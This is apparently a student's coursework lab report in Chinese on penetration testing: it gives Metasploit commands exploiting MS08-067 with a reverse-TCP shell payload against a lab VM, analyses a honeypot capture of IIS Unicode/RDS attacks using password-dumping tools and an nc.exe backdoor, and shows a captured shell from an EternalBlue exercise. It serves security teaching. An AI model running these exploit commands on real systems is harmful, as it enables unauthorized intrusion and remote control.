20232937文兆宇 2023-2024-2 《网络攻防实践》实践六报告

20232937文兆宇 2023-2024-2 《网络攻防实践》实践六报告

1.实践内容

(1)动手实践Metasploit windows attacker

任务:使用metasploit软件进行windows远程渗透统计实验

具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权

(2)取证分析实践:解码一次成功的NT系统破解攻击。

来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
攻击者使用了什么破解工具进行攻击
攻击者如何使用这个破解工具进入并控制了系统
攻击者获得系统访问权限后做了什么
我们如何防止这样的攻击
你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
(3)团队对抗实践:windows系统远程渗透攻击和分析。

攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)

防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。

2.实践过程

2.1动手实践Metasploit windows attacker

攻击机:winxpattacker(192.168.200.4)
靶机:win2server(192.168.200.14)
在攻击机里,开始-所有程序-渗透工具-metasploit3-cygwin shell
在这里插入图片描述输入命令msfconsole
接下来利用MS08-067漏洞

search ms08_067 
use windows/smb/ms08_067_netapi 

在这里插入图片描述配置漏洞的参数

set payload generic/shell_reverse_tcp
set LHOST 192.168.200.4
set RHOST 192.168.200.14
show options	

在这里插入图片描述
最后输入命令,攻击利用

exploit

在这里插入图片描述最后攻击成功
在这里插入图片描述

2.2取证分析实践:解码一次成功的NT系统破解攻击

先用wireshark打开流量文件
在这里插入图片描述已知目标主机的ip,发现关于目标主机有大量的http流,进行追踪

ip.dst ==172.16.1.106 and http

在这里插入图片描述在tcp流里发现了unicode字符串,猜测是Unicode攻击以打开boot.ini文件
在这里插入图片描述
继续往下寻找,发现了shell语句,查找资料后发现这是rds漏洞
在这里插入图片描述
根据shell语句以及视频资料
攻击者使用IIS Unicode漏洞进行攻击,利用msadcs.dll中的RDS漏洞允许任意代码执行的漏洞进行攻击
攻击者利用FTP的方式下载文件,dump.exe和samdump.dll是配合使用破解口令的,利用samdump.dll拿到口令后再用pdump.exe进行破解
nc.exe是一个后门
在这里插入图片描述
在这里插入图片描述输入命令过滤流量文件

http.request.uri contains "msadc"

这里发现msadcs.dll已经上传成功了
在这里插入图片描述追踪ftp流,这里可以看见用户名和密码 以及后续的后门操作
在这里插入图片描述继续查看1233流量包,发现攻击者攻击了6969端口
在这里插入图片描述在5766包里面,删除痕迹。
在这里插入图片描述在下面的图里,攻击者已经发现了这是一个蜜罐
在这里插入图片描述对于如何防止攻击,可以先修补RDS和Unicode漏洞,或者直接升级相应的服务到最新版本即可。

2.3团队对抗实践:windows系统远程渗透攻击和分析
攻击

攻击方:文兆宇 kali 192.168.43.68
防守方:WHY win2server 192.168.43.158
利用MS08-067漏洞
在这里插入图片描述在这里插入图片描述

防守

攻击方:WHY kali 192.168.43.16
防守方:文兆宇 win2server 192.168.43.218
利用永恒之蓝漏洞
攻击方扫描
在这里插入图片描述流量包
在这里插入图片描述

Microsoft Windows 2000 [Version 5.00.2195]echo pre2n9i8tqY9J65h(C) ........ 1985-1998 Microsoft Corp.C:\WINNT\system32>echo pre2n9i8tqY9J65h
pre2n9i8tqY9J65hC:\WINNT\system32>C:\WINNT\system32>ipconfig/all
ipconfig/allWindows 2000 IP ConfigurationHost Name . . . . . . . . . . . . : icst-win2k-sPrimary DNS Suffix  . . . . . . . : Node Type . . . . . . . . . . . . : HybridIP Routing Enabled. . . . . . . . : NoWINS Proxy Enabled. . . . . . . . : NoEthernet adapter ........:Connection-specific DNS Suffix  . : Description . . . . . . . . . . . : VMware Accelerated AMD PCNet AdapterPhysical Address. . . . . . . . . : 00-0C-29-50-6C-57DHCP Enabled. . . . . . . . . . . : YesAutoconfiguration Enabled . . . . : YesIP Address. . . . . . . . . . . . : 192.168.43.218Subnet Mask . . . . . . . . . . . : 255.255.255.0Default Gateway . . . . . . . . . : 192.168.43.1DHCP Server . . . . . . . . . . . : 192.168.43.1DNS Servers . . . . . . . . . . . : 192.168.43.1Lease Obtained. . . . . . . . . . : 2024..4..18.. 21:11:36Lease Expires . . . . . . . . . . : 2024..4..18.. 22:11:36C:\WINNT\system32>

3.学习中遇到的问题及解决

  • 问题1:windows靶机链接不上桥接网络
  • 问题1解决方案:重新配置该虚拟机的ip地址,并重启,可以成功连接到网络

4.实践总结

通过这次实验,我动手实践Metasploit windows attacker,学习了很多知识,还分析了流量文件,详细还原了攻击者的过程。最后和why做了互相攻击防守的实验,受益良多。希望在后面的学习中,学到更多知识。

参考资料

  • 《Java程序设计与数据结构教程(第二版)》
  • 《Java程序设计与数据结构教程(第二版)》学习指导

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/630476.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JDK8、JDK11、JDK17和JDK21这几个版本更新的主要特性

文章目录 1.JDK82.JDK113.JDK174,JDK21 1.JDK8 JDK8是Java的一个重大更新版本,引入了一系列新特性和改进,主要包括: Lambda表达式:Lambda表达式允许我们以简洁、函数式的方式编写代码,使代码更易于理解和维护。-Stream…

WordPress的全面解析:为什么它是创建博客和网站的首选

在当前的数字化时代,无论是个人博客还是企业网站,都需要一个强大而灵活的平台以支撑其内容和用户交互。WordPress作为全球最流行的内容管理系统(CMS),以其强大的功能、灵活的定制性和广泛的用户基础,成为了…

状态压缩DP题单

P1433 吃奶酪&#xff08;最短路&#xff09; dp(i, s) 表示从 i 出发经过的点的记录为 s 的路线距离最小值 #include<bits/stdc.h> #define int long long using namespace std; const int N 20; signed main() { int n; cin >> n;vector<double>x(n 1),…

储能逆变器测试负载箱基础认识

储能逆变器测试负载箱是专门用于测试储能逆变器的设备&#xff0c;它能够模拟真实的负载情况&#xff0c;对储能逆变器进行全面的性能测试。这种设备在新能源领域&#xff0c;特别是太阳能和风能领域有着广泛的应用。 储能逆变器将储存的电能转换为交流电&#xff0c;然后输出给…

Leetcode算法训练日记 | day27

一、组合总和 1.题目 Leetcode&#xff1a;第 39 题 给你一个 无重复元素 的整数数组 candidates 和一个目标整数 target &#xff0c;找出 candidates 中可以使数字和为目标数 target 的 所有 不同组合 &#xff0c;并以列表形式返回。你可以按 任意顺序 返回这些组合。 c…

java 红黑树

01.红黑树的定义&#xff1a; 每一个结点有五个属性&#xff1a;

SQL Server Management Studio 显示行号

前言 在使用 SQL Server Management Studio (SSMS) 进行数据库管理和查询时&#xff0c;能够看到代码的行号是非常有用的。这可以帮助您更容易地定位代码错误、讨论特定的代码行&#xff0c;或者在执行长查询时快速找到特定行。在本文中&#xff0c;我将向您展示如何在 SSMS 中…

Redis中的Lua脚本(二)

Lua脚本 创建排序辅助函数 为了防止带有副作用的函数令脚本产生不一致的数据&#xff0c;Redis对math库的math.random函数和math.randomseed函数进行了替换。对于Lua脚本来说&#xff0c;另一个可能产生不一致数据的地方是哪些带有不确定性质的命令&#xff0c;比如对于一个集…

面试八股——线程

进程与线程的对比 线程的创建方式⭐ 继承Thread类 实现Runnable接口 实现Callable类 适用于需要获取返回值的线程。 线程池创建线程 Callable与Runnable的区别 1. 首先Runnable的run方法是没有返回值的&#xff0c;Callable的call方法有返回值。 2. Runnable不能向外抛出异常…

混合云构建-如何创建一个高可用的Site to Site VPN 连接 Azure 和GCP云

在现代云计算环境中,企业通常会采用多云战略,将工作负载分布在不同的云服务提供商上。这种方式可以提高可用性、降低供应商锁定风险,并利用每个云提供商的独特优势。然而,在这种情况下,需要确保不同云环境之间的互联互通,以实现无缝的数据传输和应用程序集成。 本文将详细介绍…

Python根据公募基金在一定时期内持有的股票数据进行社会网络分析

【背景】根据提供的公募基金在一定时期内持有的股票数据&#xff0c;构建一个社会网络分析框架&#xff0c;度量每个基金在每年的度中心度、介数中心度和特征向量中心度&#xff0c;并对相关数据做出简要说明。 【代码】 import networkx as nx import pandas as pd import n…

SpringBoot整合Mybatis实现从数据库中读取blob属性的图片在html页面中无法显示并且出现乱码实体类,如何解决?

&#x1f3c6;本文收录于「Bug调优」专栏&#xff0c;主要记录项目实战过程中的Bug之前因后果及提供真实有效的解决方案&#xff0c;希望能够助你一臂之力&#xff0c;帮你早日登顶实现财富自由&#x1f680;&#xff1b;同时&#xff0c;欢迎大家关注&&收藏&&…